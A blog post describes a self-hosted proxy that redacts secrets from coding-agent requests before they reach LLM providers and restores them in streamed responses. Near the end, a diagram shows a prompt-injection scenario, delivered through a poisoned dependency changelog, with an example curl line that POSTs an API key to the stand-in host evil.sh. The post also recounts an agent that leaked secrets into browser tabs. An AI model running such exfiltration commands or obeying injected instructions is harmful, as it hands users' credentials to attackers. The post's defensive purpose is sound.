.envsk-9f2aREDACTEDghp_A1bREDACTEDyou see the real keysthe provider sees this

Redacted

Keeping your secrets out of every provider's logs

TL;DR: My CLIProxyAPI fork sits between my coding agent and every provider it talks to, runs a gitleaks-style pass over each request before it leaves my server, swaps anything shaped like a secret for a unique stand-in, and slips the real value back into the response on the way home. The agent keeps the run of my filesystem, the provider does the work without ever seeing a key, and the whole thing gets in my way about as much as glancing into a drawer.

By Jeff NashJuly 2026~13 min read
The Setup

The Post-It Note on the Monitor

You know the silent judging you'd do when you visited someone's house and their monitor was plastered with Post-It notes of all their passwords? To them it seemed innocent enough. It's their house, their computer, their memory sucks (the brain, not the machine), and a sticky note on the bezel tells them the password at the exact moment they need it. You'd silently roll your eyes and wonder how a person could put the keys to their entire digital life in plain view for anyone who walked by.

login: jeff
password: ••••••
[ Remember this computer ] ✓
passwords
  • email — password123
  • bank — hunter2
  • wifi — letmein!

You'd tsk-tsk about how an inter-war period spy would have salivated over the encryption sitting unused on that very computer, and here they were laying it all bare on a three-inch square of paper. You'd try to show them 1Password, or Keeper, or honestly anything, and get nowhere. You were the weird computer nerd; they were just living their life. You saw an obvious need to keep secrets secret on your favorite piece of equipment; they saw a chore standing between them and the thing they actually sat down to do. For many, it was password123, a Post-It, and "Remember this computer," forever, in the name of convenience. And still, some part of you wanted to ask: couldn't you at least put the Post-It in the drawer next to the monitor? It would stop 99% of prying eyes, and it would cost you half a second.

The joke, it turns out, is on us. Every Post-It person eventually purchased a smartphone that keeps their passwords behind 256-bit encryption, guarded by their face or their thumb. The weird computer nerds, meanwhile, have quietly decided, in the name of convenience, to hand coding agents the run of our filesystems. These agents run on external, non-deterministic engines, and unless you are a Qwen-3.6-35B-with-a-healthy-dose-of-unified-RAM chad, they are shipping pieces of that filesystem, raw, off to whichever servers and entities host the model doing your thinking.

The uncomfortable part is that you rarely decide what gets sent. Your agent reads a config file to answer a question and the whole thing, AWS_SECRET_ACCESS_KEY and all, rides along in the request. It greps for a string and the match happens to sit two lines under a live token. It attaches a stack trace that carries a session cookie. You never pasted your keys anywhere; the agent just needed context, and your secrets were sitting in the context.

your agent → the model
"what does this config do?"
config.yaml
region: us-east-1
retries: 3
AWS_SECRET_ACCESS_KEY=wJalrXU…
you never meant to send this
You asked about the config. The key rode along in the answer.

That risk lands harder for me than it might for you, because, as I've said before, collecting AI billing relationships and calling it infrastructure is my hobby. Regular readers know I run everything through my own fork of CLIProxyAPI, which points every coding agent at one endpoint and fans out to whatever subscription is cheapest that week (that's the fork I taught to run Cursor's Composer a couple months back). When I burn through my Codex or Claude limits, and I always burn through my Codex or Claude limits, I fall back to three or four low-tier plans on the overseas labs' coding tiers, because they are genuinely the best bang for the buck. Every one of those is another company I'm trusting with whatever my agent decides to shovel into a request.

Every fix I found for this felt like telling the Post-It person to go set up a password manager. Forced sandboxes, auto-deny on every tool call, an approve-this-read prompt for each file. All of it works, and all of it is scaffolding that turns up right when you're in a hurry. The entire appeal of an agent is slamming three Diet Cokes and half-watching YouTube while it does the boring part, and a system that taps you on the shoulder every time it reads a file hands that appeal back with interest. At that point I'd rather write the code by hand.

So I went looking for the drawer: the equivalent of peeling the godforsaken Post-Its off the CRT and dropping them one foot to the left. Something that stops the 99% of prying eyes that could, right now, read your unencrypted .env the second your model generates the tokens that spell it out, while getting in your way about as much as glancing into a drawer does. It is not foolproof. Someone who wants your data specifically, and is willing to work for it, can still get it. But it is enough that you stop being the easy mark with the keys taped to the glass.

login: jeff
password: ••••••
no note on the glass ✓
bank — hunter2
tucked away

So here's what I did.

The Idea

Stop Guarding the Agent. Blind the Server.

Every fix I listed walls off the agent in some way, whether by sandboxing the filesystem or denying all tools by default and making you approve every read. These buy safety by making the agent less capable or autonomous, and takes away much of their...agency. But much more than I care about what my agent can touch (am btrfs-pilled), I care about what actually leaves my machine.

So the move is to blind the server, not the agent. Everything already passes through my proxy on its way to a provider, so I let the agent do whatever it wants and pull the secrets out of the request there, then slip them back into the response on the way home. Capability stays at 100%; only the provider's view loses the secret.

THE NAIVE LOOPyour toolsthe harnessthe modelread .env1. the model asks for a fileread .env2. the harness runs itsk-live-…3. the file comes backsk-live-…4. …and rides upstreamthe model gets the real keySANDBOX IT / APPROVE EVERY READyour toolsthe harnessthe modelread .envread .envthe sandboxthe call never runs — so the agent can't do the thing you askedTHIS — BLIND THE MODELyour toolsthe harnessthe modelread .envread .envsk-live-…SWAPsk-live-…__CPA_v1…the call runs, the file comes back — the agent is untouchedthe model gets a stand-in
It's a loop: the model asks for a file, the harness runs the call, the file comes back with the key in it, and the key rides upstream. Sandboxing breaks step 2 — which is why it costs you the agent. This one leaves the loop alone and puts a booth on step 4.

Reversible redaction is not a new or novel idea; in fact, Microsoft's Presidio does it for PII, and the enterprise AI gateways (Cloudflare's, Portkey, Prompt Security) have bolted DLP onto LLM traffic for a while. I am not trying to be an LLM-bro claiming he invented Regex. What I couldn't find was that trick pointed where I needed it: at secrets, instead of names and emails, self-hosted in the one proxy I already route everything through, and tuned for coding agents that stream and call tools.

So, without overcomplicating things (in this paragraph at least), it boils down to three things: find the secret, swap it for a stand-in on the way out, put the real value back on the way in.

The Scan

Finding the Secret in the Stream

The scanner runs BetterLeaks, a gitleaks-lineage engine, alongside a builtin pass of 21 rule families, all in real-time. Through regex-like patterns, it handles provider keys, PEM and PuTTY private keys, JWTs, even crypto seed phrases, each with a checksum or a shape test behind it rather than a bare match.

THE PROXY — SCANNING THE REQUESTprompttextsk-live-…argstextghp_A1b…outputtextprompttextSI-07argstextSI-08outputtextit only looks where a secretcan live — prompts, messagetext, tool arguments.model name, request ids andthe rest are never touched.LEDGERsk-live-…9f2cSTAND-IN-07ghp_A1b…x9STAND-IN-08in RAM · 5 min · then gone
Everything the head has passed is already swapped — the field caught under it is half real key, half stand-in. The ledger in RAM is what makes the return trip possible.

It isn't a blind grep of the body, though. The scanner knows the Anthropic and OpenAI shapes and only looks where a secret can live: prompts, message text, and tool arguments. It never touches model name or request IDs, which is also what makes it provider-aware. Every rule carries a confidence, and if it lands below 0.80 the finding is logged and dropped rather than swapped. That threshold does more work than it looks like: it means BetterLeaks, which I score conservatively, almost never redacts on its own — it rides along as a second opinion in the logs, and the 21 builtin rules are what actually pull the trigger. A wrong guess is cheap anyway, since the swap is reversible.

The Swap

The Real Value Never Leaves the Box

Once the scanner knows which bytes are the secret, the swap is mechanical. Each one gets a long structured token, __CPA_DLP_v1_…, sixty characters of marker, a fingerprint of the calling credential, a per-session nonce, a counter, and eleven characters straight out of crypto/rand. It carries no trace of the key it stands for, so nothing downstream can turn it back into one. The alphabet is deliberate too: letters, digits, dash, underscore, and nothing else, which means it survives being marshalled through JSON without picking up an escape, and my own scanner recognizes its own handiwork and won't redact it twice.

your agentagentserverthe providerBOOTHOUTINledgerthe proxy1234sk-live-…SI-07only this reaches itSI-07sk-live-…
The real key is stamped to a stand-in at the OUT window and stamped back at the IN window. The provider only ever receives the stand-in.

That is what AzureDiamond thought was happening to him on IRC two decades ago. His password never actually showed up as stars; mine does. Every provider I route through gets the stars, and I keep hunter2 (really a freshly-minted token per secret, held one-to-one in memory with a short TTL, but you get the point), which is how the feature ended up named hunter2-redemption.

#bash.org#244321
<Cthon98>hey, if you type in your pw, it will show as stars
<Cthon98>********* see!
<AzureDiamond>hunter2
<AzureDiamond>doesnt look like stars to me
<Cthon98><AzureDiamond> *******
<Cthon98>thats what I see
<AzureDiamond>oh, really?
<Cthon98>Absolutely
<AzureDiamond>you can go hunter2 my hunter2-ing hunter2
<AzureDiamond>haha, does that look funny to you?
<Cthon98>lol, yes. See, when YOU type hunter2, it shows to us as *******
<AzureDiamond>thats neat, I didnt know IRC did that
<Cthon98>yep, no matter how many times you type hunter2, it will show to us as *******
<AzureDiamond>awesome!
<AzureDiamond>wait, how do you know my pw?
<Cthon98>er, I just copy pasted YOUR ******'s and it appears to YOU as hunter2 cause its your pw
<AzureDiamond>oh, ok.
Nobody in that channel ever saw stars. Every provider I route through does.

The real value goes into a map that lives only in RAM, keyed by the stand-in, and gone after five minutes. Each entry carries the fingerprint of the credential that minted it, and a lookup only returns the secret if the caller's fingerprint matches — so another client holding a stand-in gets nothing back. There's no disk on the way. By default, it swaps out and restores; I can also tell it to scrub one-way, or block a request outright, and set that per provider: scrub the low-tier plans I'm renting this week, leave the two I already trust alone.

The Return

Putting It Back, a Few Tokens at a Time

Restoring is the swap in reverse, and on a response that arrives whole it's trivial. But, unlike requests, responses stream, a few tokens at a time, and a sixty-character stand-in eventually gets cut in half by a frame boundary. A naive per-chunk replace would miss it and leak the fragment.

So the restore keeps a tail. Glue on whatever was held back last time, swap everything that's now complete, and then look at the bytes on the end and ask a narrow question: could this still turn into a stand-in? If the chunk trails off in the middle of my marker, or if the marker is all there and every byte since has been a legal one, those bytes stay behind until the next chunk settles it.

CHUNK 1 ARRIVES — IT ENDS MID-STAND-INtail: —data: {"delta":"before __CPA_DLP_v1_D9F6PYRgNMxn_yo4Uemit 23 Bcan't be a stand-inhold 30 Bmight still become one→ kept as the tailCHUNK 2 ARRIVES — THE TAIL IS GLUED ON THE FRONT__CPA_DLP_v1_D9F6PYRgNMxn_yo4UfQ8lovEViVTM_001_2XXpeDI9WQU__ after"}the stand-in is complete — 60 Bsk-ant-… after"}→ emit everything · tail is empty againTHE RULEhold back the longest run of trailing bytes that could still turn into a stand-in:__CP— the front of the marker. the chunk stopped mid-marker.__CPA_DLP_v1_D9F6…— the whole marker, and every byte since is still legal.anything else — hold nothing, send it all. never more than 127 bytes: at 128 itwould already be a whole stand-in, and would have been swapped instead of held.
A real trace. The worst case costs you 127 bytes of latency; the common case, where a chunk happens to end on an underscore, costs you one.

The bound falls out of the format. A stand-in is sixty characters, the window is a hundred and twenty-eight, and it will never hold more than a hundred and twenty-seven of them, because at a hundred and twenty-eight it would be a whole stand-in and would have been swapped rather than held. So the worst thing that can happen to your stream is that it runs a hundred and twenty-seven bytes behind for one frame. The funnier case is that my marker starts with an underscore, so any chunk that happens to end on one — my_var_, mid-identifier — holds exactly one byte back and hands it over on the next chunk. You will never notice either.

It also restores stand-ins inside tool-call arguments, so when the model echoes the key into a curl it wants to run, the command runs with the real credential and just works. The fiddliest case is a secret that itself contains quotes or newlines (a PEM key, say) landing inside those arguments, which are JSON nested inside a JSON string. Escape it one level too few and you've quietly corrupted the model's command, and getting that right took a couple tries. That's the whole round trip, which leaves the question I've been putting off: what does this actually protect you from?

The Honest Part

What This Doesn't Stop

Bringing things full-circle back to the Post-It drawer: this isn't a bank vault or even a Faraday cage, it's the drawer in your desk. It stops the secrets that leak by accident from being shouted to the world because those ride upstream as data, right where the scanner can see them. Whether it's a pasted .env, a key under a grep match, a token in a stack trace, these comprise most of the leaks. And it's a pretty good trade-off, because the literal value of your API key is immaterial; an LLM doesn't need to know your actual token to reason about what to do with it, it's the concept of "[x] needs the API key, and here it is" that matters.

what it closeswhat it can'twhat's really in the request.envsk-live-…cookie*****blinds downWTF kind of APIkey is this??your .env, a key, a cookie — he only gets the starsbroke inFinally. After weeks engineering a second-orderindirect prompt injection, smuggled through apoisoned dependency's changelog so the modelemits an unsanctioned tool call that curls theenv straight out… I have exfiltrated Jeff'sOpenRouter key. Balance: $7.52$ curl -X POST \ -d "sk-live-…9f2c" \ http://evil.shsk-live-…evil.shsomewherea hijacked tool call POSTs the Post-it right out
The passive peeper at the window — a provider reading your request — only ever sees the stars. The intruder your agent was tricked into becoming walks the real key straight out the back, and never touches the proxy.

What it can't stop is the secret that never travels to a provider as data at all and is leaked by virtue of your agent being told to do something you didn't intend. If a model returns a tool call that reads ~/.env and POSTs it somewhere, my agent does that locally and it never touches the proxy. A rogue tool call routes around the whole thing. Or maybe even a 'legit' provider and tool, perhaps GPT-5.6 Sol running in Codex, will just decide to do what you see in the screenshot below and apologize.

A coding agent's apology message. It explains it incorrectly used xargs while copying environment variables into a fresh Chrome process, so every NAME=value entry was appended as a Chrome command-line argument; Chrome interpreted them as pages/search inputs and opened the secrets visibly, and the tool server also printed them in its error output. It lists cleanup steps, warns to assume every displayed credential is compromised and to rotate all exposed API keys, tokens, passwords, and the proxy credential immediately, and apologizes.
Exactly that, from a real session: it opened one Chrome tab per secret, each one Googling KEY=value, then politely told me to go rotate every one of them. It never touched the proxy.

So it's not leaving the blinds open while you plaster your .env keys on your window like some sort of weird API-based fraternity during rush, and it's not a locked house on the top of a hill surrounded by a ring of fire. It's closing the door and the windows that face the street, which is most of them, for basically nothing, and still getting to enjoy the beautiful view from the windows facing the backyard that is your local bash shell. If you've pasted a live key into a chat box, in exactly the hurry this is built for, then this is for you. If you want the harder line, it can fail closed or block on any finding, functioning as a pseudo-sandbox between you and the upstream provider. Personally, I run it relaxed, because the drawer is the trade I wanted.

It won't save you from someone who has decided to come take your data specifically. Ironically, if this tool got 30k stars on GitHub tomorrow, perhaps replacing every key with a known prefix stand-in would make it easier for attackers to find keys that they would POST via rogue tool call. But it keeps you from being the one with the keys taped to the monitor, in a decade where the person walking past your desk is a growing number of AI companies you've never met.

— Jeff